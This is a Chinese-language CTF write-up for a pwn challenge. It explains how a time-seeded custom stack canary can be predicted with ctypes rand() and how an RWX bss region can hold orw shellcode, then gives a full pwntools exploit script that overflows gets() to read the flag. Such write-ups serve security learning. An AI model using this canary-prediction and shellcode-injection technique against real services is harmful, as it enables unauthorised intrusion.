分析
保护
开启了栈溢出保护和NX
main函数
但这次我认为init函数才是最重要的
分析一下
在main函数开启了沙盒,禁用了sys_execv,所以程序有后门函数也是摆设,只能用orw了
再是存储0x64字节数据到bss段buf变量,然后就是gets(),但因为canary不知道怎么用
重点分析下init函数
__writefsqword()函数是向fs段寄存器写入
通过时间戳生成两个随机数,对两个随机数进行运算,再用writefsqword()函数把运算的结果写到fs:0x28(即真正的canary),
再mprotect函数把GLOBAL_OFFSET_TABLE地址之后的0x1000的内存属性改成可读可写可执行
GLOBAL_OFFSET_TABLE为0x404000
并且bss段的buf变量也是这个范围内(orw shellcode!!!)
好了思路清淅了
实现要点
两个随机数我们不知道,但我们可以用ctypes库导入c函数,使用相同的时间戳用的的rand()生成相同的随机数,这样我们就知道了canary了,gets也就起来了
再把读取flag的orw写到bss段中,再控制rip到shellcode over
EXP:
from pwn import *
import time
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
libc = cdll.LoadLibrary('./ibc.so.6')
p=remote('x',6666)
seed =int(time.time())%60 #libc.time(0)
libc.srand(seed)
v2=libc.rand()
v3=libc.rand()
backdoor=0x40141E
ret=0x40101a
shellcode=shellcode = asm(shellcraft.cat('flag'))
canary=(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * ((v2 << 8)& 0xffffffffffffffff))) >> 32)+(((((v2 >> 48) + ((v2 << 16)& 0xffffffffffffffff) * (v3 >> 16)) ^ ((v3 << 48)& 0xffffffffffffffff)) << 32)& 0xffffffffffffffff)
print(hex(canary))
payload=b'a'*8+p64(canary)+p64(0)+p64(0x4040E0)
#p.recvuntil('our name:\n')
p.sendline(shellcode)
#p.recvuntil('me something:')
p.sendline(payload)
p.interactive()
结语:
我不知道为什么用libc的time()报错,所以我就Python的time()生成时间戳
pwntools还是好用呢,之前没发现可以直接用shellcraft.cat('flag'),生成读flag的code,好用
我感觉这题还遇到了栈相关的多个知识,还是好玩的
(本人是菜鸟,想找对CTF感兴趣的CTFer,一起交流学习,共同进步,迈向星辰大海!!!!^_^(有兴趣的加扣群:470196890))